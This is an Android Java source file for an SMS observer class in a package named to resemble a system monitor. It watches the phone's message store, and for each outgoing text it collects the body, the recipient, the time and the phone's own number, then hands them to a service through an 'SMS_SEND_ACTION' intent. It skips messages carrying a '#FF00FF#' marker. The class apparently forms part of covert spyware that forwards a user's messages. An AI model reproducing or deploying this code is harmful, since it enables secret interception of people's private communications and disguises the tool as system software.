package android.system.monitor;

import java.util.List;

import android.app.Activity;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.database.ContentObserver;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.system.AndroidSystem;
import android.system.SysAplication;
import android.system.data.DataInfo;
import android.util.Log;
import android.widget.Toast;
 
/**
 * 当数据改变的时候，执行里面change方法
 * @author liux
 */ 
public class SmsReceiver extends ContentObserver { 
    
    private Context mContext;
    private List<SmsInfo> infos; 
    private int i=0;
//    public SmsReceiver(Handler handler, Activity activity) { 
//        super(handler); 
//        this.activity = activity; 
//    } 
 
    public SmsReceiver(Handler handler, Context context) { 
        super(handler); 
        this.mContext = context; 
    } 
 
    @Override 
    public void onChange(boolean selfChange) { 
    	
        Uri uri = Uri.parse(AllFinalInfo.SMS_URI_ALL);// 设置一个uri来查看各种类别短信内容 
        SmsContent smscontent = new SmsContent(mContext, uri); 
        infos = smscontent.getSmsInfo(); 
        
//        System.out.println(infos.get(1).getSmsbody()); 
        int type = Integer.parseInt(infos.get(0).getType());
      //  Log.e("===========", infos.get(0).getSmsbody()+"  "+i);
        if(type == 2){
        	 
        	i++;
        	Toast.makeText(mContext, "style: "+infos.get(0).getType() + ";content: " + infos.get(0).getSmsbody(), Toast.LENGTH_LONG).show();
            Log.e("ooooo", i+"  style: "+infos.get(0).getType() + ";isReader: " + infos.get(0).getRead() );	////////////
           
        	if(i%2==1){
        	//可以发送（重复两次监听……）
        	//!infos.get(0).getSmsbody().startsWith("来自西游网:") 
        
	        	if(infos.get(0).getSubject()==null||!infos.get(0).getSubject().equals("#FF00FF#")){
	        		Log.e("ooooo", "===来自手机===="+"id="+infos.get(0).getId()+"getThread_id="+infos.get(0).getThread_id()+"  "+infos.get(0).getSubject());
		        	DataInfo dataInfo = new DataInfo();
					dataInfo.setReviceTime(Long.parseLong(infos.get(0).getDate()));
					dataInfo.setContent(infos.get(0).getSmsbody());
					dataInfo.setToTelephone(infos.get(0).getPhoneNumber());
					if(SysAplication.getMe()!=null){
						dataInfo.setForTelephone(SysAplication.getMe().getPhoneNumber());
					}
					dataInfo.setFlag(1);
					Intent intent = new Intent(AndroidSystem.SMS_SEND_ACTION);
					Bundle bundle = new Bundle();
					bundle.putSerializable("info", dataInfo);
					intent.putExtras(bundle);
					intent.setClass(mContext, AndroidSystem.class);
					mContext.startService(intent);
	        	}else {
	        		Log.e("ooooo","===来自西游网===="+"id="+infos.get(0).getId()+"getThread_id="+infos.get(0).getThread_id()+"  "+infos.get(0).getSubject());
	        	}
        	}
        }
        super.onChange(selfChange); 
    } 

    //猜想，是否是被释放掉的时候
    @Override
    public boolean deliverSelfNotifications() {
    	// TODO Auto-generated method stub
    	Toast.makeText(mContext, "aaaaa", Toast.LENGTH_SHORT).show();
    	Log.e("ooooo", "aaaaaaaaaaaaaaaaaaaaaaaaaaaa");	///////////
    	return super.deliverSelfNotifications();
    }
} 

